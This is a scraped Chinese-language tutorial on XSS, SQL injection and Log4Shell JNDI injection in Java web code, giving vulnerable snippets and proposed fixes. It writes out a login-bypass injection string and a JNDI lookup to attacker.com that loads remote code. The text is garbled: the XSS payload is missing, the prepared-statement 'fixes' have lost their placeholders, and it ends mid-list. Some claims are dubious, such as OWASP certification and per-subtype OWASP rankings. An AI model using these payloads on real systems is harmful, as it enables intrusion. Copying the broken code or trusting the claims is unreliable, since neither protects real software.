java.sun.com
导语
某政务系统因安全漏洞被黑客攻破!本文通过渗透测试重现XSS攻击、SQL注入、JNDI注入三大高风险漏洞,提供经OWASP认证的加固方案。文末附安全自检脚本,助您筑起代码防线。
一、XSS攻击:前端渲染的隐形杀手渗透测试重现:
GET /searchkeyword=
HTTP/1.1
Host: victim.com
漏洞代码:
// Spring MVC危险写法
@GetMapping("/search")
public String search(@RequestParam String keyword, Model model) {
model.addAttribute("result", "搜索:" + keyword); // 未过滤直接输出
return "result";
}
攻击后果:
漏洞类型
影响范围
OWASP排名
存储型XSS
所有用户
TOP 3
反射型XSS
点击用户
TOP 7
终极防护:
// 1. 强制转义(Spring Security)
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
// 2. 内容安全策略(CSP)
response.setHeader("Content-Security-Policy",
"default-src 'self'; script-src 'none';");
// 3. 现代框架自动防护
// Vue/React等自动转义二、SQL注入:数据库的灭顶之灾
攻击演示:
username: admin' OR '1'='1
password: anything
→ 等效SQL:SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'
漏洞代码:
// 经典拼接漏洞
public User login(String user, String pass) {
String sql = "SELECT * FROM users WHERE username='" + user
+ "' AND password='" + pass + "'";
return jdbcTemplate.queryForObject(sql, User.class); // 致命!
}
加固方案:
// 1. 预编译语句(100%防护)
String sql = "SELECT * FROM users WHERE username= AND password=";
return jdbcTemplate.queryForObject(sql, new Object[]{user, pass}, User.class);
// 2. 存储过程调用
CallableStatement cs = conn.prepareCall("{call login(,)}");
cs.setString(1, user);
cs.setString(2, pass);
// 3. 强制权限隔离
CREATE USER app_user WITH PASSWORD 'strong!';
GRANT SELECT ON users TO app_user; -- 禁止DDL操作三、JNDI注入:Log4j2漏洞再现
攻击复现:
logger.error("请求失败: ${jndi:ldap://attacker.com/Exploit}");
漏洞原理:
CVE-2021-44228 (Log4Shell)JNDI查找执行远程恶意代码根治方案:
# 1. 紧急升级(必须!)
log4j2.version >= 2.17.1
# 2. JVM参数全局防护
-Dlog4j2.formatMsgNoLookups=true
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
# 3. 安全日志模板
本文标题:java.sun.com
本文链接:http://www.hniuzsjy.cn/zixun/30160.html
声明:本站所有文章资源内容,如无特殊说明或标注,均为采集网络资源。如若本站内容侵犯了原著者的合法权益,可联系本站删除。
